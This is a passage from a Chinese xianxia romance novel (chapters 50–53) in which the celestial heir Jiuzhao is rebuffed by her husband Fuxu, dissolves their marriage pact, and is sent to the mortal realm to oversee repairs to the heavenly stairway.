正因为所有合理的原因都无法联系起来,她想着想着,突然萌生出,莫非是之前仙考瀛罗为了自己和孟楚不要命的打架,现在变成男子的消息又传遍三清天,所以扶胥误会了什么。 这倒是很说得通。 九昭又生气又忍不住感到高兴。 她说服了自己。一面生气江山易改本性难移,扶胥这个闷葫芦遇到矛盾总是选择冷对,迟早要捱一顿修理;一面又高兴看来不需要试探了,他若不在意,也不会偷偷打包行李“回娘家”。 在微妙的想象间,夫妻的身份仿佛瞬间颠倒。 扶胥成了那个需要劝着让着的“小娇妻”。 大女子的心理遽然膨胀,九昭当即摩拳擦掌,想前去辟蒙宫将他哄回来。 只不过,欲要叫人高兴。 空着手去,总显得太没诚意。 打算瞬移至辟蒙宫的仙术临时变了个道,九昭闪身出现在神匠局,取回了出炉不久的软甲。 从设计到确认,再到锻作,整个过程她都借助了仙匠们的力量。 唯独最后一步,须得她亲自完成。 正好趁着众人误以为她和扶胥闹了矛盾的时机,九昭放话出去,自己也要闭关。 将殿门封紧,又叮嘱朱映谁来也不见。 九昭躲在寝殿,忍着两眼一黑的剧痛,拔出了后颈隐藏的本命翎。 三本之一的元羽之力消耗,不仅带来堪比挫骨扬灰的疼痛,还害得她差点倒退回金仙实力。 可想到它能保护自己的心爱之人,九昭又觉得一切都值得。 她倒在床上缓了大半天,才勉强坐起来,持续运功,将那根五色璀璨的翎羽融入软甲中。 这一炼化,便是七天七夜。 她费尽心思地消除本命翎上属于自己的气息。 又消融了它的实体,只作为非畏难时刻不可启动的暗力隐匿其中。 第八日早晨,九昭披散着长发,无声无息推开殿门。 她的面容久不见阳光,苍白到接近半透明,身上皱巴巴堆在一起的赤红色布料,朱影看了半天,才勉强辨认出仿佛是那天赶赴瀛罗生辰宴时所穿的华服。 “殿下,您无事吧?” 这般看来,扶胥搬走一事,对于九昭打击颇大。 朱映半是担忧半是关切地望着她。 但他又很欣慰九昭只是藏起来自行消化,没有崩溃狂怒,殃及池鱼,的确有了不小的进步。 朱映欲问九昭是打算沐浴更衣,还是先行用膳,不料额发的遮挡里,九昭的双眼忽然睁开。 “扶胥的生辰,快到了吧?” 她幽幽询问。 朱映掐指一段,迟疑地点了点头,不知她要做些什么。 “还好,差一点就要错过。” 那股萦绕在身上的低气压倏忽消散,九昭抬手抹了抹面孔,而后释放起清洁术。 黑发重新恢复光泽,颓唐之气一扫而空。 她藏在背后的另一只手出现在朱映面前,那曲起的指间牢牢攥着一件衣服式样的物件。 尺寸却很大,看起来不像是九昭会穿的款式。 不待朱映看清,九昭又自言自语道:“对了,对了,找个盒子,还有,换件衣裳……” …… 来来回回折腾两趟之后。 九昭再三说明自己只是去找扶胥谈谈,朱映才愿意放行。 她本想捧着放有软甲的锦盒出门,又颇为踌躇。 左手换到右手,右手换到左手,怎样都别扭,干脆把它藏进储物戒。 一转眼,辟蒙宫前的结界显形,契阔诀持续发挥作用,九昭一路畅通无阻。 直至遇见驻守的统领仙官修余。 她抬手免去青年礼节,迫不及待询问:“修余,你家上神可在宫中?” 修余的表情透出几分古怪。 往常,他从来都不认为九昭和扶胥相配,见到九昭,虽恭顺有余,真心的敬服却是不足。 此刻,他眸光中溢出的情绪,像是真正将九昭当成了辟蒙宫的另一位主人,虔敬恭谨之余,又隐晦地传递着一种九昭看不懂的惋惜和感慨。 他坚持拱手行礼,垂眸道:“回禀殿下,上神一直都在辟蒙宫中,且几日前已经出关。” 扶胥出关了—— 这是不是意味着,他也思念自己了,所以才想给彼此一个台阶下。 九昭气已经差不多全消了的心中,顿时平添几分雀跃。 她问修余扶胥眼下在何处,得到答案正在兵器库,便挥退相随的仙侍,扬言要独身前往。 然而。 真正同扶胥重逢的场景,却与她想象中的截然相反。 “殿下,臣不会和您回去了,辟蒙宫才是臣的住所,臣以后会继续居于此处。” 对于九昭的请求,扶胥回绝得无比果断。 各色寒光凛冽的兵器映衬着他的英挺眉眼,无端让九昭后颈泛起一寸一寸的凉意。 她还以为扶胥在耍脾气,抬步上前抓紧他的衣袖:“夫妻不就该住在一起吗?若我在常曦殿,你在辟蒙宫,传出去,某些好事者又会以为我们关系破裂,闹了矛盾。” “殿下与臣并非普通夫妻,就像历任神帝与神后也并不住在一起。” 微微收敛下颌,扶胥的视线落在自己被九昭攥成一团的衣衫上,“至于传出去会让三清天非议——平日的宴会典礼,臣都会照常和殿下携手同行,殿下不必有这方面的顾虑。” 他搬出大道理说明自己别殿而居的合理性,噎得九昭说不出话。 在储君身份明确的情形下,被迎娶进门的正妻以及侧妃妾室,几乎全都是有家世的女子,她们会住在不同的宫殿中,且互相之间如同一座岛屿独立。 今后待储君继位为神帝,这个传统也会一直延续下去。 若神帝想要召幸,会将她们传到寝宫,或者干脆乘坐天辇,前往她们的住所—— 为的就是体现尊重,平衡各宫,减少妻妾间的争风吃醋。 九昭窘迫地张了张嘴,想要说话,又遭扶胥抢白:“其实这样挺好的,不是吗?殿下需要臣的时候,召臣或是亲至都行,不在一起的时间里,你我也可专注修行,不至于过分沉溺爱欲。” 他这样说,便是将自己放在了女君王夫的位置上,而非九昭夫婿的位置上。 被他不冷不热的话音刺得胸口胀痛,九昭也顾不住自己和父神的约定,直将藏在心底多年的真心话说了出来:“你以为我说只和你一人厮守做不到对吗?你根本不知道,我本来就不想当这个神帝!如果非要纳很多男人,我会奏请父神重立储君,我只当一普通神仙就可以!” 九昭以为,剖白心意,总能换来扶胥的信任。 她执拗地抬起头去,却见青年像是听到了什么好笑的事情,忽得弯起眼睛,朗笑出声。 那笑声化作细密钢针,一下一下重戳她鼓噪的心脏。 半晌后,他抬手揩拭眼尾,问道:“若殿下不是储君,那臣的这段婚姻有何意义?” “……?” 面对九昭边缘剧烈扩张的瞳光,他视若无睹地说了下去,“臣不止一次地同您提起过,臣做任何事都是为了三清天的稳定和繁荣,昔日帝座询问臣是否愿意成为王夫,匡扶您坐稳帝位,臣欣然应允。却不想您这般胸无大志,当真白费了臣这三个月来的一番苦心。” 对于二人结契的原因,神帝并未隐瞒自己的爱女。 九昭也明白扶胥答应成婚的开始,并非为着感情,而在于守护他的理想和坚持。 “不、我不相信—— “这么多年了,你就没有一瞬,是对着我这个人产生了情意吗?” 得知残忍真相,九昭下意识松开抓紧扶胥的手。 她紧紧咬住下唇,踉跄着倒退两步,又抱有最后一丝希望,鼓起勇气试探道,“你是不是因为我和瀛罗过从甚密,误以为我要纳他为侧夫,所以在这里说气话呀阿胥?” “殿下,您还要臣说几次?” 对九昭到了这种地步,还要自欺欺人的天真行为彻底失望,扶胥缓缓叹了口气,“身为储君,联姻各部本就是您的责任,臣只想辅佐您成为合格者,将来顺利接过帝座手中的权柄。 “瀛罗变成了男子,的确是个适合的侧夫人选。 “您若顾全大局将他迎进离恨天,臣心中唯有高兴,何来生气?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 51| 第51章 ◎“这样下去迟早感情生变,成为一对怨侣。”◎ 后续的话, 实属没必要再互相说服下去。 九昭失魂落魄地出了辟蒙宫。 从小,有坚持一夫一妻的父神母神言传身教,她对于将一颗心掰成无数块, 谁都在意或者说谁都不在意的行为无法理解。 更叫她感到不能理解的是。 倘若有情, 扶胥怎会对她以后可能拥有三宫六院的假设无动于衷。 所以,就像他说的一样。 他对自己的好,仅仅出于看重储君的身份。 换个女子坐上这个位置,他也会尽心尽力, 奉献全部。 …… 晚上,九昭迟迟没有回去。 她潜进酒仙的住处,偷了几瓶他珍藏的仙酿, 坐在澄心池前喝闷酒。 沉浸在低落的心绪里,她下意识忽略了久候她不归,离恨天会上演怎样鸡飞狗跳的局面。 这罕有人至的空中浮岛,迎来第二人踏足时, 已将近亥时中刻。 “殿下!” 朱映的女声自身后不远处炸开, 九昭头也没回。 她望着平滑若明镜的湖面, 再度扬起脖颈喝下一大口酒。 有些情绪,哪怕没有言语对话, 没有眼神交集, 也能叫人准确捕捉。 朱映感受着从九昭身上传来的,如有实质的低气压, 顿了顿, 最终选择将满心焦虑咽去。 他传了个消息给还在寻找的其他人后, 缓缓来到她身边坐下:“要是被酒仙知晓自己珍藏了千年的美酒, 就这样被您牛嚼牡丹般当成白水灌下, 他可说不定会两眼一翻气得晕过去。” 从朱映的声音传来时, 九昭就知晓了他到来的目的。 当年作为神帝亲派的统领仙官,他曾与她约法三章过,若无事须得在戌时末刻前回去。 眼下月到中天,四周静谧无声,怎么看都超过了门禁时间。 九昭原以为他要搬出神帝赋予的职责兴师问罪,却不料,他居然若无其事打趣起了自己。 这一打岔,九昭反感的心情稍微缓和了点。她慢慢乜他一眼,含着酒液声音模糊说道:“反正最后都是要进肚子里的,不懂酒的人喝,跟懂酒的人喝,又有什么区别。” “不懂酒的人喝完醉过也就忘了。” 朱映伸出手,用目光示意九昭将身旁未开封的仙酿递来一瓶,“懂酒的人在品尝的瞬间就能领悟其中精髓,喝过以后还会为其题词写诗,极尽称赞,将它的美名传播到同好者中去。” “如此看来,本殿的确做不了懂酒的人。” 九昭不以为然地撇了撇嘴,“喜欢的东西怎舍得分享?别人蜂拥而至,哪还轮得到我喝?” 大半瓶酒下肚,她虽未沉醉,思绪却有些迟缓。 视线映入朱映摊开的手掌时,竟领会错了他的意思,将已经喝过的酒瓶递了过去。 朱映一怔。 转眼又取笑起自己真是矫情,还指望一个失恋的醉鬼有这么多顾忌。 他接过酒瓶,一时无言,又听见九昭冷不丁询问:“你说,人会说变就变吗?” 三清天有许多人。 绝大多数都担不起贵为储君的九昭一问。 能得她如此在意,目前看来只有辟蒙宫的那一位。 朱映不知今日他俩之间究竟发生了什么,但冷眼瞧着九昭的种种情态,便知不会是好事。 他斟酌着言辞,慢吞吞地说道:“殿下,臣以为人的性格一旦形成,就很难再改变,若对方变化的速度快到让您措手不及,多半是遭遇了某些深刻变故——又或者,从一开始就在伪装。” “伪装吗?” 九昭只听进去了最后一个词,她口中反反复复呢喃着这个词汇,失笑道,“不肯说明对我好的真正情由,同我虚与委蛇了这一千五百年……可不就是伪装。 九昭从来不是个能藏得住话的性子,气氛已到这,她索性打开话匣,同朱映倒起苦水,“你告诉我,难道想要坐上帝位,就必须把自己的情感真心乃至一切全都拿来算计吗? “不能渴望一生一世一双人的爱情,哪怕面对枕边人也要保持绝对的理智,是这样吗?” 她的话音有着短促的停顿。 眉眼间的失意和愤懑则显示语意未绝。 朱映抿住下唇,捧着酒瓶的手指加重些许力道,本能地感受到九昭接连不断的质问,如同骤雨将这静谧深邃的夜晚打湿:“我知道的,我从来都知道,你们背地里都在嫌弃我粗鲁的行事做派,嫌弃我不学无术,身为帝女却没有足以匹配的谋算和城府—— “你们来到我身边,尽心尽力辅佐我,保护我,对我好,皆是因为没有第二个选择。” 指代从“他”变成“你们”,显然九昭无限放大了在扶胥那里遭遇到的挫败。 某种程度上,朱映又不得不承认,九昭的想法近乎无错。 仅有的偏差是,这跟她的行事做派还是性格谋算,关联的部分微小到可以直接忽略。 说到底,如他,如扶胥,亦如当初的兰祁,本就没有选择,无论九昭是平庸还是出色,神帝铁了心要将她扶上三清天掌权者的位置,他们为报神帝恩义,不得不成为效忠九昭的近臣。 兰祁没有选择,所以只得叛天。 他和扶胥没有选择,所以—— 接下来的念头来不及具象,单从内心生出个朦胧苗头,就让朱映发散的目光猛然绷紧。 由于刚才的走神,他错过了九昭口中叙述的,她与扶胥争执的详尽过程,只有总结性的“他不在意我纳几个侧夫偏房,还说哪天我若有了为三清天献出一切的觉悟,他会感到欣慰”。 这种事,扶胥他竟然,这么直白的说出口了—— 但惊讶过后,朱映又发觉,是自己一直将九昭当成了不懂人事的小女孩。 他咽了口唾液,迟疑道:“其实……扶胥上神说得没错。” 九昭哀怨的目光顿时一变,忿忿瞪了过来。 朱映仍然硬着头皮讲道理:“您只看帝座与神后婚后宣告再不纳妃的那几年,所面临的阻碍和浮动的人心,便知与各部联姻是让帝位坐得更加稳当的捷径……何况,扶胥上神这样说,并不是放弃和您的感情,他选择大度成全,就算您有无数侧夫,他也只有您一人,您为何不满意?” “这对吗?” 九昭愤怒拔高声调,“你告诉我,如果是纯粹的感情,为何中间能够插进去很多个人?!” “……” 朱映内心苦笑。 身为一人之下万人之上的储君,九昭居然还在讲纯粹的感情。 无言以对之外,不知怎的,他倏忽有些羡慕起,能得九昭如此珍视的扶胥。 定了定眼瞳流露的出格情绪,朱映轻声道:“身为上位者,本来就不该追求纯粹的感情。 “追求纯粹,就难免有私心偏袒、感情用事的嫌疑。 “若他日扶胥上神犯错,触及众怒,群仙上奏请您严惩,您待如何? “若情久生厌,万年后扶胥上神对您坦言感情已不复如初,您待如何? “历代战神无一不是马革裹尸,若他日扶胥上神在交战中濒死,您失去挚爱,悲痛欲绝—— “又待如何?” 朱映为人沉稳,总是谨言慎行。 神帝曾在与九昭的闲谈中笑言,他如离恨天之“秤砣”。 九昭从未听过他口出如此咄咄逼人的质问。 难以回应的同时,她陷入思考。 而朱映仅是专注地望着她,坚持要等到一个答案。 良久,九昭启唇,只告诉了他有关第三个问题的抉择:“……我会跟他一起死。” 朱映从她坚定到执拗的眸光中,意识到她的回答并非儿戏——悚然间,某些神帝为救重伤的神后耗费大半神力,以至于数度呕血昏厥,华发早生的零星回忆片段滑过眼前。 他心口发沉,只能勉强勾起唇角,当作回应玩笑似地说道:“这都是孩子话,殿下,您若同扶胥上神一起死,那偌大的三清天该怎么办,难道您要弃父辈的基业于不顾?” 九昭没有说话。 她分外平静地思忖着,若为守三清天,必须有一人得活,那么,这个人也不该是自己。 扶胥神力出众,素有威望,四方臣服。 而她却根本不想做神帝。 她若死了,只消另立新帝即可。 扶胥若死,恐焚业海会立刻起兵,三清天也将发生大乱。 所以,若彼此不能同生共死…… 她宁愿以自己的命,换扶胥的命。 九昭长时间的沉默,令朱映预感更是不祥。 他干脆转移话题:“是臣想岔了,当下的问题尚未解决,何必去想那么遥远的事。” 他试图拉回九昭的注意,为她出起主意,“以微臣愚见,倘若殿下真的想要跟扶胥上神彼此理解,不如抛开私人的情绪,敞开心扉,开诚布公地谈一谈。 “否则您与他各执一词,这样下去迟早感情生变,成为一对怨侣。” …… 两人相叙许久,子夜时分,九昭因着酒意和七日七夜的仙力损耗,终于体力不支。 她上下眼皮打架,意识昏沉,转眼靠在朱映肩膀昏睡过去。 梦中似仍然萦绕着许多烦心事,她秀眉微蹙,时而发出几声破碎的呓语。 朱映陪伴九昭多年,眼见她青涩面孔不复,出落成风华绝世的成年女子模样。 可这一瞬,她枕着他的肩膀,又分外拙稚,恍若因做错事感到惴惴不安的孩童。 朱映担忧着她,心却生出柔软。 碍于女身的情况下,个子娇小,不如九昭高挑,他施术回到男子模样。 他俯下身体,将九昭轻手轻脚背起,看了眼被遗忘在草地的几个酒瓶,忍不住用指腹抚上九昭喝过的瓶口,抹出一指淡淡的口脂红印。 …… 而这一切。 又被放心不下寻觅许久,最终来到澄心池畔的扶胥看在眼里。 52| 第52章 ◎“那便就此,别过吧。”◎ 或许是因为炼化本命翎耗费了太多仙力, 九昭这一夜酣然无梦,睡得极沉。 再醒来时,已然日上三竿。 她坐在床上思忖一遍昨日对话, 决定听从朱映的建议, 敞开心扉同扶胥好好谈一谈。 她以扶胥答应出关就同去放飞极乐鸟为由,派人前往辟蒙宫传话。 不出一炷香的时间,女婢便来回禀,道上神随后就来。 这出乎意料的顺利开端, 与九昭设想中的,对方拒绝只能拿君臣身份迫从全然不同。 暗暗松懈一口气之余,她又忍不住揣度, 那天已经闹得十分难堪,扶胥对待自己仍旧一如往昔,这是不是说明,他打从心底不在意她是哭是闹, 是悲是喜。 暗自揣猜测终究无用, 只能横生烦恼。 九昭在床上辗转来回, 始终得不到答案,索性让自己忙碌起来。 洗漱以后, 又命人前来编发上妆。 …… 当扶胥被人引进后苑时, 九昭正在纠结,要不要将祝晏额外赠送的一对极乐鸟也放归。 沉吟之间, 她复又多想一层。 自己和孟楚的不睦已在明面, 想要修复关系怕也不可能, 祝晏比之其兄长, 更加敏慧沉稳有城府, 想必不是池中之物, 留着他的礼物,来日或许会有用处。 于是,她放弃了将眼前鸟笼收进储物戒的想法,缓缓走出内殿。 “殿下。” 露天等候的扶胥见到她,立刻作揖行礼。 终究不是直呼名讳,而是敬称尊位了。 九昭心中一抽。 周围人多口杂,她只得淡淡应了声,绕过他身边,随即开始施术结阵。 按照九昭目前的力量,可在一定范围内瞬移。 从离恨天前往一清天的北境,则需要借助仙阵。 扶胥沉默地跟在她身后,踏进悬地而起的巨大圆阵中。 片刻后,仙光尚遮蔽视野未曾散去,北境独有的浩浩风雪已然吹拂于面。 北境的地势多为雪原山岭,放眼望去,除却人群聚居之处,俱是一望无际的白雪。 霜雪摧折,严寒冷冽。 居于北境的仙族,甚至会为一年到头难得的不落雪放晴之日,举办节日庆祝。 九昭为放归极乐鸟而来,没有特地挑选日子。 她在典籍上查阅过极乐鸟的习性,知道它们生活在野外的族类,喜好啜饮沾染霜岩草气味的化雪寒露,所以时常在霜岩草旁边建巢栖息。 而霜岩草一向生长在陡峭山崖间,她便选择了风势稍小的山谷作为落脚点。 天地旷大,遍野皆是呼啸风声。 扶胥收敛了外散的神息,如同一道漆黑的影子般立在九昭身畔。 若非垂手瞥见那抹玄色衣摆,九昭恐怕自己会生出被抛弃在风雪间形单影只的错觉。 她从储物戒中,将数十个鸟笼取出。 甫一见到谷中山壁上迎风摇曳的幽蓝草植,极乐鸟们立刻用翅膀扑打笼门,发出兴奋叽喳。 想要坦诚胸怀,总要做些心理准备。 起先在常曦殿,有仆婢的簇拥,九昭尚能摆着神姬架势应对自如。 此刻唯余他们独处,那股说不清的赧然和别扭又缚住舌喉。 她蹲下身去,打消了施术化去鸟笼,将极乐鸟一同放飞的念头,改为用手一个个拨开笼锁。 ——晚上睡得好吗? ——神境勘悟还顺利吗? ——谢谢你愿意陪我来北境。 ——昨天回去,本殿想了很多。 无数开场白在九昭脑海滑过,她手上的动作不觉放慢,拨了许久,才将第一个笼门拨开。 栖息在其中的极乐鸟立刻扬着小脑袋探出笼来,在飞离前夕,还用鸟喙蹭了蹭她的指节。 风雪中,倏忽响起神术释放的窸窣声。 青绿华光自皑皑一片纯白间浮起,托住九昭的衣衫裙摆,免其被雪水沾湿。 扶胥的体贴,令九昭半是意外半是欢喜。她停下双手,转脸瞧他,发觉那高大身体也蹲了下来,并不质疑为何不适用节省时间的方法,只是不做声同她一起解开笼门。 于是,九昭又想起朱映的话。 也许朱映说得没错。 也许扶胥作为臣子,自小接受的教导便是如此。 不可嫉妒,不可狭隘,不可对侍奉的君主产生占有欲。 宽和大度,不代表他不爱自己。 她选择性地无视了昨日扶胥有关爱人还是爱身份的诛心言语,将极乐鸟放归完毕,又用仙术消融了白银铸成的鸟笼,才拍拍裙摆,面朝扶胥站起身:“我有心里话想对你说。” 扶胥并不意外她会有此举:“殿下请。” 此刻,也顾不上探究青年与行为不符的冷淡言语。 九昭敛眸,用鞋底来来回回碾着地面,逐寸破裂的冰雪发出接近篝火噼啪的动静。 踌躇几息,她抬头注视他的双眼:“打从被生下来开始,我就没见过母神。年幼不经事的时候,我住在父神的三清天,每日睁开眼,见到的只有那些沉默寡言的仙婢。 “后来再长大了点,父神为我用神力开辟了一处境阙,名为离恨天。 “也是在那时,兰祁以养兄的身份来到了我的面前。” 在扶胥还没到访,被绛玉缃璧伺候梳妆的间隔里,九昭以为将自己剖解开来很难。 回忆往事,回忆那幼稚不知天高地厚的心。 再转化为言语说出口,仿佛其中覆着万斤重力。 然而当真正陷入往事,暂时只需专注自身,而不用在意对方表情时,她的表达又逐渐变得顺畅:“父神太忙,总是十天半个月才能抽空与我相见,在过去的几万年里,只有兰祁陪伴着我。 “父神说,兰祁是我的养兄,也是除他与母神之外,我唯一的家人。 “家人不就应该永远相互依靠吗? “我总是在想,倘若母神能够活过来,我愿意永生永世不离开她和父神身边—— “所以,当父神问我是否愿意嫁给兰祁时,我最先出现的心情竟然是害怕。 “若我摇头不愿,他是不是会跟别的女子结成家庭,从此离开父神,离开我。 “所以我答应了父神,我要跟兰祁成婚。” 抛开母神早逝的遗憾,九昭恍觉自己的童年和少女时期,的确称得上圆满幸福。 锦衣玉食,仆婢簇拥。 虽偶感寂寞,也有兰祁可以倾诉心事。 只是,一想到答应后发生的事情,她微微发亮的眼眸又趋向黯淡。 对于自己和兰祁的过往,扶胥了如指掌。九昭便将其略去,说起这几千年以来始终放不下的执念,以及在遇到扶胥,和扶胥相爱后执念终于发生变化的过程: “兰祁悔婚的最初,我的心中总是充满恨意,他让我颜面扫地,让我的神姬身份成为笑柄。 “可当我一遍又一遍挣扎在心魔幻境中,回想起刻意尘封的过去,见证自己对他的欺侮、轻视和不理解,那些恨意层层剥开,让我从单向的、被辜负的执念里挣脱出来。 “当我以为的爱并不正确,我开始感到迷茫。 “那么正确的爱是什么?” 奇怪的是,九昭虽口出询问,表情却从被兰祁背弃的痛苦,转变为了找到答案的坚定。她望着扶胥,瞳孔涌起刻骨的温柔:“我想,如果你不曾出现,我大约永远不会领悟到感情的真谛。 “满是执念,产生无数心魔的爱只会毁灭彼此。 “唯有让人想要变好的爱,才是积极的,正确的。 “不仅仅是身份同你匹配,我想努力,想成为仙考的魁首,想改变众仙心中不学无术的神姬形象,我想你一同骄傲,我想要他们承认,扶胥上神妻子的位置,唯有我九昭才能配得上——” 九昭的声音,与四面八方的天风融为一体,一遍又一遍荡过扶胥的耳际。 透过她倔强的眼睛,他看见许许多多个日夜,隐身站在演武场外,陪伴她直到天亮的自己。 从高空摔落地面无数次,饶是不会危及神仙的性命,身体感受到的剧痛却是实打实的。他时常会听见娇生惯养的九昭,因为承受不住痛楚而发出的低吟声。 也是在这种时候,他只恨不能冲进演武场以身相替。 无需九昭表明心意。 早在她选择咬牙坚持开始,他的心就已经感觉到与有荣焉。 在九昭放下骄傲不顾一切的告白里,扶胥好不容易坚定的意志,再次动摇起来。 可走到这一步。 纵使他相信九昭的爱,又如何呢? 归根究底,爱比不爱更加痛苦。 辉天镜里,九昭的行为是跟兰祁殉情好,是真的爱他所以用命换命也好。 扶胥只清楚有一点毋庸置疑,那就是自己身为战神,十有八九是要死在战场上的—— 起码九昭不在意他,或者恨他的时候,就绝不会为了救他献上自己的元神。 想明白这一点,扶胥终是咬牙忍住了想要将九昭拥进怀里的冲动。 他半垂眼睫,遮挡住剧烈颤抖的眸光。 逼着自己,硬起心肠,以一种被反复纠缠而倍感困扰的态度问道:“究竟要臣怎样,殿下才能明白?您身后是三清天的无数臣民,您肩上的责任如此沉重,缘何要困顿在无常的爱恨中? “您也好,臣也好,我们之间是否存在的感情也好,相比三清天的长久与稳定,都是不值一提的东西——若您依旧这般执迷不悟,或许我们应该避免见面,彼此冷静一段时日。” …… 剖开胸膛,露出血肉。 战胜难堪、羞耻、痛苦、软弱等一切情绪,将自己的真心捧给心上人看—— 结果却是这样。 某个刹那,穷尽方法的九昭不知该做出怎样的反应。 哪怕再灼热滚烫的火焰,遭遇封冻一切的冰雪,都会逐渐化为灰烬。 九昭伸出手,接住洋洋洒洒自天上来的冰冷结晶。 她感觉到心口的温度一点一点冷却。 在破碎的痛苦后,彻底归于虚无。 …… 良久。 她取出储物戒里放有软甲的锦盒。 凤凰真血之力释放到极致,灼烈的火光瞬间席卷华美盒身。 “殿下,您这是在做什么——” 扶胥犹自不知被烧毁的东西是何,只以为她又被感情驱使,做出冲动任性的行为。 九昭却付以平静一笑。 “你看不上我的用情天真,我也不理解你的抱负隐忍。 “的确是道不同不相为谋。 “扶胥,既然你我要走的路不一样,那便就此,别过吧。” 【作者有话说】 下一章昭昭就下凡啦,开始新感情! 53| 第53章 ◎“便由你担任这次的督工。”◎ 付出全部努力都没用, 又被扶胥的无情言语彻底伤了心,九昭便不想再纠结了。 她回到常曦殿,彻夜埋首案间。 临到天亮, 写成奏表上呈给神帝, 说要与扶胥解除契阔诀。 位于三清天最高处的紫微宫执掌四方,自有座下仙署代为监听百务。 这段时日,神帝的耳畔时常传入二人不和的风声。 但丹曛将合离奏表奉到台前的一刻,神帝才发觉自己低估了这件事的严重程度——倘若九昭仅仅是大吵大闹, 甚至跟扶胥狠狠打上一架,他们的感情都有挽回的余地。 哀大莫于过于心死。 这般公事公办地上书请求,神帝便知自己的女儿做出这个决定已是铁了心。 将并不说明合离原由的寥寥文字, 从头到尾读了两遍,神帝放下奏表,疲倦地捏住眉心。 他命丹曛女官将九昭带到紫微宫,见行礼于殿下的身影并不如往常那般蹦蹦跳跳, 归巢鸟儿似地立刻依偎到自己旁边, 忍不住无声叹了口气:“昭儿, 你与扶胥之间究竟发生了何事,要闹到非合离不可的地步?今日为父在这里, 不如传来扶胥, 你与他当面说个清楚。” 九昭素面朝天,身上衣裙是月色沉入潭底的影白, 越发衬得目光冰凉而淡漠。 听到神帝问话, 她的思绪在一瞬本能的抗拒后, 泛开模糊涟漪。 把扶胥叫来说清楚—— 彼此早已无话, 要说些什么? 说扶胥身为王夫不介意她未来联姻各部, 甚至劝说她立即纳瀛罗入离恨天, 以此得到西海的支持——而她拒绝承担储君的责任,为了追求小情小爱,非逼着他答应改变固有的想法吗? 北境山谷中,来自青年的嘲讽重复回响耳畔。 在心脏又一次蔓延开来的钝痛里,九昭麻木作想:父神只娶一人的忠贞,是与母神的双向奔赴,自己一头热的行为又有什么意义呢?扶胥大度,允许她迎纳侧夫,这一矛盾的根本原因传出去,怕是所有人都会觉得扶胥识趣体谅,她占尽便宜还要指责对方不够爱,怎么看都是矫情。 ……或许,把话说出口,就连父神也不会理解她究竟在失望什么。 自顾自在心头下了判定死刑的结论,九昭提不起半点倾诉的欲/望。 她眼神空散,语调没有一丝起伏:“女儿上奏的同时已经派人把断契书送到辟蒙宫了,此刻一个时辰已过,扶胥不见任何行动——父神以为,女儿与他之间还有任何挽回的必要吗?” 得以长久的感情,总得有至少一人愿意付出。 九昭想要断契,扶胥的态度又暧昧不明,不做任何挽留。 此情此景,叫神帝陷入沉默。 难言的死寂迅速封冻了紫微宫内的空气,九昭顿了顿,复而提醒道:“当初父神答应过女儿,只要能助扶胥恢复伤势,待他神境恢复之日,便是女儿自行决定是否合离之时。” 如今扶胥的状态如何,有目共睹。 九昭践行了当初的承诺,也报答了五百年前扶胥对于自己的救助之义。 情缘已断,似乎再也没有别的东西能够叫她甘愿将夫妻的名义维系下去。 神帝又在心底长长吁出一口气。 谁都不如他了解自己的女儿——哪怕他现在冒着泄露天机的风险告诉九昭,扶胥是自己耗费寿数通过推衍得出的最佳帝夫人选,她大概也只会自断一半寿元偿父,而非跟扶胥再试试。 罢了。 要想让这件事有个妥善的结果,不能急在一时。 神帝沉吟着,脑海的念头动得迅速。 不出片刻,他想到了个能够转移九昭注意力的去处:“你若坚持合离,为父也不反对,只是扶胥的断契书尚未签署,为免弄巧成拙,你总得给他些时间——正好,芸生世飞升至三清天的登天阶因年久失修,出现了数道裂痕,为父遣了四位金仙下界修理,便由你担任这次的督工。” “我?” 话题的跨度之大,令九昭的表情出现刹那空白。 “前去督工,既有了差事积累资历,一段时间内又不用跟扶胥再相见,昭儿不愿意吗?” 神帝安排的这一职位,与九昭的最初想法背道而驰。 但眼下闹成这样,她继续投身军部成为扶胥的下属,就显得十分尴尬。 修复登天阶横竖用不了太长时间,督工的职务只是暂时,或许等到时日推移,她逐渐熄灭对于扶胥的爱意和怨怼之时,才是进入神军署,一展才能抱负的好时机。 …… 九昭答应下来。 修复登天阶的四仙已领命大半个月,走马上任之事宜早不宜迟。 她回到常曦殿,立即命人收拾行李。 下界作为督工,为了省心起见,到登天阶修复完成之前,九昭都不便回到三清天。她做了一番计划,令性格沉稳的缃璧留守离恨天,代管她暂离期间的大小事务,绛玉和朱映则一同下界。 此事发生得仓促,联想到九昭一早送去辟蒙宫的断契书,饶是众人皆担心她,也不敢多问。 很快,生活起居的必需品,都被女婢们打包起来,收进储物戒中。 与此同时,坐在长案前的九昭,也完成了在笺牍上的最后一笔。 她站起身,将纸折叠,盖上神印,交到湘璧手里:“本殿走后,你将此物送到辟蒙宫。” 缃璧郑重应诺。 九昭不再言语。 她走出寝殿,缓缓前行的过程中,又有朱映和绛玉加入队伍。在即将与负责掌管仙人两界出入口的渡引仙君同去前,她最后一次驻步,回顾这片陪伴了自己三万余年的境阙。 希望重归之日,她能够真正放下扶胥。 …… 尽管作为万物飞升成仙的通道,登天阶十分重要,但说到底,修复的工作十分简单,只要四个天仙按照顺序,每人每日轮流输入仙力,直至裂痕消失即可。 因此九昭虽名为督工,实际上不过是前往人间散心。 而关于三清天、焚业海、芸生世三界的关系,又有一则流传自上古时期的旧闻。 在天地伊始之际,原不分仙魔。 三清天与焚业海,皆为祖神穹煌娘娘所开辟。 两者唯一仅有的区别在于三清天风景明媚,仙灵尽汇,更加适宜居住。 焚业海相较而言较为偏僻,天空总是雾蒙蒙的,仙灵也不甚浓厚。 人总是向往有阳光雨露的去处,且创造万物的祖神常居三清天。逐渐的,焚业海便遭到废弃,成为用来存放因无法消弭,而不得不剥离封印的心魔执念的地方。 穹煌娘娘独身诞下子嗣。 子嗣又相爱结合,生育子女。 如此一生二,二生三,三生万。 人人身上皆流有祖神的血脉,寿与天齐,不死不灭,导致世界渐渐人满为患。 为居住的土地大打出手,为修炼的资源彼此倾轧。 如此过了万万年,眼见创造的美好家园分崩离析,神力即将散尽的穹煌娘娘无法再阻止,干脆剥离自己的长生血脉,将活着的人一分为三,有罪者居于焚业海,积德者拥有三清天。 而品格修为皆不足者,则下界居于额外开辟的第三世——人间芸生世,命途轨迹皆由他们自行选择,或克服艰难努力修行飞升,或彻底堕落与心魔为伍,或在人间平静无为地度过一世。 最后,为了避免三界再次人满为患。 穹煌娘娘又更改了时间流速,芸生世一日,为三清天和焚业海一年。 修行总要几十上百年才能获取成果,这期间自会消亡一批低阶散仙。 